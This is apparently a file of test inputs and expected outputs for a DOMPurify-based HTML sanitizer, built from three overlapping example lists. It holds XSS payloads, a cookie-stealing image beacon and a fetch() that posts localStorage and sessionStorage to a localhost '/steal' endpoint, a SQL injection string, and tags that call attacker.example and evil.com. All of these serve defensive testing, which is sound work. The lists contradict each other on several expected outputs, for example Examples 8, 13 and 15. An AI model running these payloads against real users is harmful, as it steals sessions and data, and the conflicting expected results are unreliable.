example.txt

## Example: Real-world XSS payload (mixed attack)

**Input (untrusted HTML):**
```html
<div onmouseover="alert('Danger!')">
  <script>alert('Attack!');</script>
  Safe content
</div>


# Examples of Input for the Input Sanitizer Web Tool

This document lists 40 representative inputs (HTML, CSS, scripts, and text) plus their expected sanitized output under the DOMPurify configuration used in this project. Every example also includes a short reminder about why it matters or what to watch out for. The examples are ordered from common XSS abuse cases to edge conditions that reveal parser quirks.

## Example 1: Classic script injection

    Input:
        <script>alert('This is an attack!');</script>

    Expected Sanitized Output:
        (empty)

..:: Suggestions:

    - Avoid embedding `<script>` tags in user input; DOMPurify removes them entirely.
----------------------------------------------------------------------------------------

## Example 2: Inline event handler

    Input:
        <div onclick="alert('Hacked!')">Click me</div>

    Expected Sanitized Output:
        <div>Click me</div>

..:: Suggestions:

    - Inline handlers such as `onclick` are stripped; use safer APIs like `addEventListener` on the owning page.
----------------------------------------------------------------------------------------

## Example 3: JavaScript URI on a link

    Input:
        <a href="javascript:alert('Phishing!')">Click here</a>

    Expected Sanitized Output:
        <a>Click here</a>

..:: Suggestions:

    - `javascript:` URLs execute code when clicked; prefer `https:` links or data that needs server validation first.
----------------------------------------------------------------------------------------

## Example 4: Safe paragraph

    Input:
        <p>This is a safe paragraph.</p>

    Expected Sanitized Output:
        <p>This is a safe paragraph.</p>

..:: Suggestions:

    - Legitimate content should remain intact so long as it does not include forbidden tags/attributes.
----------------------------------------------------------------------------------------

## Example 5: Mixed script and inline handler

    Input:
        <div onmouseover="alert('Danger!')"><script>alert('Attack!');</script>Safe content</div>

    Expected Sanitized Output:
        <div>Safe content</div>

..:: Suggestions:

    - Removing both `<script>` and inline handler keeps the user-provided message while stripping behavior.
----------------------------------------------------------------------------------------

## Example 6: Image with malicious attribute

    Input:
        <img src="x" onerror="alert('XSS Attack!')">

    Expected Sanitized Output:
        <img>

..:: Suggestions:

    - DOMPurify removes `onerror` and drops `src` when the URL does not match the allowed pattern.
----------------------------------------------------------------------------------------

## Example 7: Direct DOM manipulation snippet

    Input:
        document.body.innerHTML = '<h1>Hacked</h1>';

    Expected Sanitized Output:
        document.body.innerHTML = '<h1>Hacked</h1>';

..:: Suggestions:

    - This is plain text delivered in JavaScript; in HTML mode DOMPurify treats it as text (no sanitization), so escape it before inserting into the DOM.
----------------------------------------------------------------------------------------

## Example 8: External link with `_blank`

    Input:
        <a href="https://example.com" target="_blank">external</a>

    Expected Sanitized Output:
        <a href="https://example.com" target="_blank" rel="noopener noreferrer">external</a>

..:: Suggestions:

    - The DOMPurify hook adds `rel="noopener noreferrer"` to protect against tabnabbing.
----------------------------------------------------------------------------------------

## Example 9: Cookie-stealing script

    Input:
        const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie;

    Expected Sanitized Output:
        const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie;

..:: Suggestions:

    - Plain-text JavaScript is not sanitized; flag any user input that contains suspicious cookie access and handle it server-side.
----------------------------------------------------------------------------------------

## Example 10: LocalStorage exfiltration snippet

    Input:
        const data = { localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage) };

    Expected Sanitized Output:
        (unchanged)

..:: Suggestions:

    - Client-side sanitization can't stop data exfiltration once the script executes; validate and escape server-side before storing.
----------------------------------------------------------------------------------------

## Example 11: SQL injection payload as text

    Input:
        username=admin' OR '1'='1'; --

    Expected Sanitized Output:
        username=admin' OR '1'='1'; --

..:: Suggestions:

    - Use parameterized queries on the backend; client-side sanitization is insufficient for SQL contexts.
----------------------------------------------------------------------------------------

## Example 12: Input field value containing script

    Input:
        <input type="text" value="<script>alert('XSS')</script>">

    Expected Sanitized Output:
        <input type="text" value="&lt;script&gt;alert('XSS')&lt;/script&gt;">

..:: Suggestions:

    - DOMPurify escapes the offending script so that `value` remains readable without executing HTML.
----------------------------------------------------------------------------------------

## Example 13: Complete `<style>` injection

    Input:
        <style>body { background: url('http://malicious-site.com/steal.png'); }</style>

    Expected Sanitized Output:
        (disallowed unless "Allow CSS" checked)

..:: Suggestions:

    - Keep CSS disabled (default). If you do trust styles, review every rule for remote resources.
----------------------------------------------------------------------------------------

## Example 14: Dangerous inline CSS URL

    Input:
        <div style="background-image: url('javascript:alert(1)')">Test</div>

    Expected Sanitized Output:
        <div>Test</div>

..:: Suggestions:

    - Even when CSS is allowed, DOMPurify strips `javascript:`/`expression()` values from inline styles.
----------------------------------------------------------------------------------------

## Example 15: Hidden malicious content

    Input:
        <div style="display:none">Hidden attack</div>

    Expected Sanitized Output:
        <div style="display:none">Hidden attack</div>

..:: Suggestions:

    - DOMPurify retains benign styling like display none but warns you via suggestions about hiding content.
----------------------------------------------------------------------------------------

## Example 16: `data:image/png` allowed

    Input:
        <img src="data:image/png;base64,iVBORw0KG..." alt="inline">

    Expected Sanitized Output:
        <img src="data:image/png;base64,iVBORw0KG..." alt="inline">

..:: Suggestions:

    - Only base64 image data is allowed by default; other `data:` types are stripped.
----------------------------------------------------------------------------------------

## Example 17: `data:text/html` disallowed

    Input:
        <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">x</a>

    Expected Sanitized Output:
        <a>x</a>

..:: Suggestions:

    - `data:` URIs that contain HTML or scripts are rejected to avoid blob-based XSS.
----------------------------------------------------------------------------------------

## Example 18: `<iframe>` embed

    Input:
        <iframe src="https://example.com"></iframe>

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - Sandbox your previews; DOMPurify forbids iframes entirely.
----------------------------------------------------------------------------------------

## Example 19: SVG with `onload`

    Input:
        <svg><circle cx="0" cy="0" r="1" onload="alert(1)"/></svg>

    Expected Sanitized Output:
        <svg><circle cx="0" cy="0" r="1"></circle></svg>

..:: Suggestions:

    - SVG elements lose event handlers to prevent script execution.
----------------------------------------------------------------------------------------

## Example 20: Entity-encoded `<script>`

    Input:
        &lt;script&gt;alert(1)&lt;/script&gt;<div>ok</div>

    Expected Sanitized Output:
        &lt;script&gt;alert(1)&lt;/script&gt;<div>ok</div>

..:: Suggestions:

    - DOMPurify preserves escaped scripts but does not unescape them, so the markup stays inert.
----------------------------------------------------------------------------------------

## Example 21: Malformed HTML

    Input:
        <div><script>alert(1)</div></script><p>ok

    Expected Sanitized Output:
        <p>ok</p>

..:: Suggestions:

    - DOMPurify normalizes broken markup; expect tidy output even when attackers send malformed HTML.
----------------------------------------------------------------------------------------

## Example 22: Attribute case and spacing

    Input:
        <IMG SRC="javascript:alert(1)" onError=alert(1)>

    Expected Sanitized Output:
        <img>

..:: Suggestions:

    - Sanitization is case-insensitive; uppercase tags or attributes still get removed.
----------------------------------------------------------------------------------------

## Example 23: `srcset` with mixed values

    Input:
        <img srcset="javascript:alert(1) 1x, https://example.com/1x.jpg 2x" src="https://example.com/fallback.jpg">

    Expected Sanitized Output:
        <img src="https://example.com/fallback.jpg">

..:: Suggestions:

    - DOMPurify strips invalid URIs from `srcset` but keeps safe fallback sources.
----------------------------------------------------------------------------------------

## Example 24: `mailto:` allowed

    Input:
        <a href="mailto:support@example.com">email</a>

    Expected Sanitized Output:
        <a href="mailto:support@example.com">email</a>

..:: Suggestions:

    - The policy explicitly allows legitimate URI schemes like `mailto:` and `tel:`.
----------------------------------------------------------------------------------------

## Example 25: Obfuscated `javascript:`

    Input:
        <a href="jav&#x61;script:alert(1)">link</a>

    Expected Sanitized Output:
        <a>link</a>

..:: Suggestions:

    - DOMPurify decodes entity-encoded URIs before enforcing the allowlist.
----------------------------------------------------------------------------------------

## Example 26: JavaScript snippet in text mode

    Input:
        document.body.innerHTML = '<h1>Pwned</h1>';

    Expected Sanitized Output (text mode):
        document.body.innerHTML = '&lt;h1&gt;Pwned&lt;/h1&gt;';

..:: Suggestions:

    - Plain-text mode always escapes; use it when rendering code samples.
----------------------------------------------------------------------------------------

## Example 27: Template injection-looking string

    Input:
        Hello {{user.name}} — welcome!

    Expected Sanitized Output:
        Hello {{user.name}} — welcome!

..:: Suggestions:

    - Sanitizer leaves template tokens untouched; treat them on the server.
----------------------------------------------------------------------------------------

## Example 28: CRLF header injection attempt

    Input:
        <a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>

    Expected Sanitized Output:
        <a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>

..:: Suggestions:

    - DOMPurify keeps encoded control characters; validate/verifies on the server before using.
----------------------------------------------------------------------------------------

## Example 29: Large repeated payload (DoS resilience)

    Input:
        <a>AAAAAAAA... (1 MB payload)</a>

    Expected Sanitized Output:
        Sanitization completes; consider server-side size limits to avoid DoS.

..:: Suggestions:

    - Add server-side max-input-size checks to avoid expensive sanitization on huge inputs.
----------------------------------------------------------------------------------------

## Example 30: Safe linked article

    Input:
        <p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>

    Expected Sanitized Output:
        <p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>

..:: Suggestions:

    - Safe content stays intact; the sanitizer is conservative about removing helpful markup.
----------------------------------------------------------------------------------------

## Example 31: `<style>` allowed vs. disallowed

    Input:
        <style>body { color: red; }</style>

    Expected Sanitized Output:
        (When CSS disallowed) (removed)
        (When CSS allowed) <style>body { color: red; }</style>

..:: Suggestions:

    - Document this difference for demo users so they know when CSS is permitted.
----------------------------------------------------------------------------------------

## Example 32: `<base>` tag removal

    Input:
        <base href="https://attacker.example/">

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - DOMPurify forbids `<base>` to stop attackers from changing the page’s base URL.
----------------------------------------------------------------------------------------

## Example 33: `<meta>` tag removal

    Input:
        <meta http-equiv="refresh" content="0;url=https://evil">

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - Meta refresh tags are banned to prevent automatic redirects.
----------------------------------------------------------------------------------------

## Example 34: `<link>` preload removal

    Input:
        <link rel="preload" href="https://evil.com/script.js">

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - DOMPurify drops `<link>` tags that could preload attackers’ scripts.
----------------------------------------------------------------------------------------

## Example 35: `<object>` removal

    Input:
        <object data="https://example.com/exploit"></object>

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - Embedded objects are forbidden because they can load arbitrary plugins.
----------------------------------------------------------------------------------------

## Example 36: `<embed>` removal

    Input:
        <embed src="https://example.com/malware.swf">

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - Embedded Flash+ content is removed entirely.
----------------------------------------------------------------------------------------

## Example 37: `<video>` with `javascript:`

    Input:
        <video controls src="javascript:alert(1)"></video>

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - Media sources must obey the URI allowlist; otherwise DOMPurify drops the element.
----------------------------------------------------------------------------------------

## Example 38: Protocol-relative URI

    Input:
        <img src="//example.com/track.png">

    Expected Sanitized Output:
        (removed)

..:: Suggestions:

    - Protocol-relative URLs are rejected because they inherit whatever scheme the page uses; stick with `https:`.
----------------------------------------------------------------------------------------

## Example 39: `<svg><script>` removal

    Input:
        <svg><script>alert(1)</script><circle r="5"/></svg>

    Expected Sanitized Output:
        <svg><circle r="5"></circle></svg>

..:: Suggestions:

    - DOMPurify removes `<script>` tags even inside SVG content.
----------------------------------------------------------------------------------------

## Example 40: Trusted `data:image/svg+xml` when allowed

    Input:
        <img src="data:image/svg+xml,%3Csvg%3E...%3C/svg%3E">

    Expected Sanitized Output:
        <img src="data:image/svg+xml,%3Csvg%3E...%3C/svg%3E">

..:: Suggestions:

    - SVG data URIs are permitted when they only contain safe markup; still avoid user-submitted SVG unless signed.# Examples of Input for the Input Sanitizer Web Tool

## Example 1: Script Injection

    Input:
        <script>alert('This is an attack!');</script>

    Expected Sanitized Output:
        (empty)

..:: Suggestions:

    - Avoid using <script> tags in your input.
----------------------------------------------------------------------------------------

## Example 2: Inline Event Handler

    Input:
        <div onclick="alert('Hacked!')">Click me</div>

    Expected Sanitized Output:
        <div>Click me</div>

..:: Suggestions:

    - Avoid using inline event handlers like onclick, onerror, etc.
----------------------------------------------------------------------------------------

## Example 3: JavaScript URL

    Input:
        <a href="javascript:alert('Phishing!')">Click here</a>

    Expected Sanitized Output:
        <a>Click here</a>

..:: Suggestions:

    - Avoid using javascript: URLs in your input.
----------------------------------------------------------------------------------------

## Example 4: Safe Input

    Input:
        <p>This is a safe paragraph.</p>

    Expected Sanitized Output:
        <p>This is a safe paragraph.</p>

..:: Suggestions:

    - No issues detected.
----------------------------------------------------------------------------------------

## Example 5: Mixed Content
    Input:
        <div onmouseover="alert('Danger!')"><script>alert('Attack!');</script>Safe content</div>

    Expected Sanitized Output:
        <div>Safe content</div>

..:: Suggestions:

    - Avoid using <script> tags in your input.
    - Avoid using inline event handlers like onclick, onerror, etc.
----------------------------------------------------------------------------------------

## Example 6: Image with Malicious Attributes

    Input:
        <img src="x" onerror="alert('XSS Attack!')">

    Expected Sanitized Output:
        <img>

..:: Suggestions:

    - Avoid using inline event handlers like onclick, onerror, etc.
----------------------------------------------------------------------------------------

## Example 7: DOM Manipulation via JavaScript

    Input:
        document.body.innerHTML = '<h1>Hacked by Attacker</h1>';

    Expected Sanitized Output:
        document.body.innerHTML = '<h1>Hacked by Attacker</h1>';

..:: Suggestions:

    - This input is not sanitized. Avoid directly manipulating the DOM with untrusted input.
----------------------------------------------------------------------------------------

## Example 8: Redirecting Page
    Input:
        <a href="https://www.youtube.com/" target="_blank">Click here</a>

    Expected Sanitized Output:
        <a href="https://www.youtube.com/" target="_blank">Click here</a>

..:: Suggestions:

    - No issues detected.
----------------------------------------------------------------------------------------

## Example 9: Stealing Cookies

    Input:
        const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie; document.body.appendChild(img);

    Expected Sanitized Output:
        const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie; document.body.appendChild(img);

..:: Suggestions:

    - This input is not sanitized. Avoid executing untrusted JavaScript that accesses sensitive data.
----------------------------------------------------------------------------------------

## Example 10: Stealing LocalStorage and SessionStorage

    Input:
        const data = {
            localStorage: JSON.stringify(localStorage),
            sessionStorage: JSON.stringify(sessionStorage)
        };
        fetch('http://localhost:3000/steal', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(data)
        });

    Expected Sanitized Output:
        const data = {
            localStorage: JSON.stringify(localStorage),
            sessionStorage: JSON.stringify(sessionStorage)
        };
        fetch('http://localhost:3000/steal', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(data)
        });

..:: Suggestions:

    - This input is not sanitized. Avoid executing untrusted JavaScript that accesses sensitive data.
----------------------------------------------------------------------------------------

## Example 11: SQL Injection in Input Fields

    Input:
        username=admin' OR '1'='1'; --

    Expected Sanitized Output:
        username=admin' OR '1'='1'; --

..:: Suggestions:

    - This input is not sanitized. Use parameterized queries to prevent SQL injection.
----------------------------------------------------------------------------------------

## Example 12: Cross-Site Scripting in Form Fields

    Input:
        <input type="text" value="<script>alert('XSS')</script>">

    Expected Sanitized Output:
        <input type="text" value="&lt;script&gt;alert('XSS')&lt;/script&gt;">

..:: Suggestions:

    - Avoid using <script> tags in your input.
----------------------------------------------------------------------------------------

## Example 13: Malicious CSS Injection

    Input:
        <style>body { background: url('http://malicious-site.com/steal.png'); }</style>

    Expected Sanitized Output:
        (When CSS is disallowed) (empty)
        (When CSS is allowed) <style>body { background: url('http://malicious-site.com/steal.png'); }</style>

..:: Suggestions:

    - This input is not sanitized. Avoid embedding untrusted CSS.
----------------------------------------------------------------------------------------

## Example 14: Dangerous Inline Styles

    Input:
        <div style="background-image: url('javascript:alert(1)')">Test</div>

    Expected Sanitized Output:
        (When CSS is disallowed) <div>Test</div>
        (When CSS is allowed) <div>Test</div>

..:: Suggestions:

    - Avoid using javascript: URLs in your input.
    - DOMPurify strips javascript: URLs from inline styles.
----------------------------------------------------------------------------------------

## Example 15: Hidden Malicious Content

    Input:
        <div style="display:none">Hidden attack</div>

    Expected Sanitized Output:
        (When CSS is disallowed) <div>Hidden attack</div>
        (When CSS is allowed) <div style="display:none">Hidden attack</div>

..:: Suggestions:

    - Avoid using styles that hide malicious content.
----------------------------------------------------------------------------------------

## Recommended Automated Test Cases (1-20)

Below are 20 practical test cases you can paste into the harness or convert into JSON for `test-cases.json`. They reflect the current DOMPurify config used by this project and note when a result depends on `allowStyles` or URL policy.

1) Classic script tag

Input:
```
<script>alert('XSS')</script><p>hello</p>
```
Expected:
```
<p>hello</p>
```

2) Inline event handler on element

Input:
```
<div onclick="console.log('pwn')">Click</div>
```
Expected:
```
<div>Click</div>
```

3) `javascript:` URI in an `<a>`

Input:
```
<a href="javascript:alert('XSS')">link</a>
```
Expected:
```
<a>link</a>
```

4) `data:` URI image (allowed for image types)

Input:
```
<img src="data:image/png;base64,iVBORw0KG..." alt="inline">
```
Expected:
```
<img src="data:image/png;base64,iVBORw0KG..." alt="inline">
```

5) Non-http `src` (relative) with onerror

Input:
```
<img src="x" onerror="alert('XSS')">
```
Expected (config-dependent):
```
<img>
```
Note: depending on `ALLOWED_URI_REGEXP` this may preserve `src="x"` or drop the attribute/element.

6) `<iframe>` embed

Input:
```
<iframe src="https://example.com"></iframe>
```
Expected:
```
(removed)
```

7) `<style>` tag + CSS URL

Input:
```
<style>body{background:url('https://attacker.example/track.png')}</style>
```
Expected:
```
(when CSS disallowed) (removed)
(when CSS allowed) <style>body{background:url('https://attacker.example/track.png')}</style>
```

8) Inline style with `javascript:` URL

Input:
```
<div style="background-image: url('javascript:alert(1)')">hi</div>
```
Expected:
```
<div>hi</div>
```

9) SVG with `onload`

Input:
```
<svg><circle cx="0" cy="0" r="1" onload="alert(1)"/></svg>
```
Expected (config-dependent):
```
<svg><circle cx="0" cy="0" r="1"></circle></svg>
```

10) Escaped `<script>` entities (should remain escaped)

Input:
```
&lt;script&gt;alert(1)&lt;/script&gt;<div>ok</div>
```
Expected:
```
&lt;script&gt;alert(1)&lt;/script&gt;<div>ok</div>
```

11) Malformed HTML / broken tags

Input:
```
<div><script>alert(1)</div></script><p>ok
```
Expected:
```
<p>ok</p>
```

12) Attribute case / spacing variants

Input:
```
<IMG SRC="javascript:alert(1)" onError=alert(1)>
```
Expected:
```
<img>
```

13) `srcset` edge case

Input:
```
<img srcset="javascript:alert(1) 1x, https://example.com/1x.jpg 2x" src="https://example.com/fallback.jpg">
```
Expected:
```
<img src="https://example.com/fallback.jpg">
```

14) `mailto:` / `tel:` links (allowed)

Input:
```
<a href="mailto:support@example.com">email</a>
```
Expected:
```
<a href="mailto:support@example.com">email</a>
```

15) Obfuscated `javascript:` via entities

Input:
```
<a href="jav&#x61;script:alert(1)">link</a>
```
Expected:
```
<a>link</a>
```

16) JavaScript code pasted into a comment box (plain text mode)

Input (text mode expected):
```
document.body.innerHTML = '<h1>Pwned</h1>';
```
Expected (text mode):
```
document.body.innerHTML = '&lt;h1&gt;Pwned&lt;/h1&gt;';
```

17) Template injection-looking content

Input:
```
Hello {{user.name}} — welcome!
```
Expected:
```
Hello {{user.name}} — welcome!
```

18) CRLF / header-injection style string in href

Input:
```
<a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>
```
Expected (may be normalized):
```
<a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>
```

19) Very large / repeated input (DoS resilience)

Input:
```
<a>AAAAAAAA... (1 MB payload)</a>
```
Expected:
```
Sanitization completes or is rejected; consider adding server-side size limits.
```

20) Safe allowed content (control case)

Input:
```
<p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>
```
Expected:
```
<p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>
```

Notes:
- For configuration-dependent cases include `allowStyles: true/false` expectations or a `note` describing the policy.
- If you want these as JSON entries for `test-cases.json`, I can generate that next.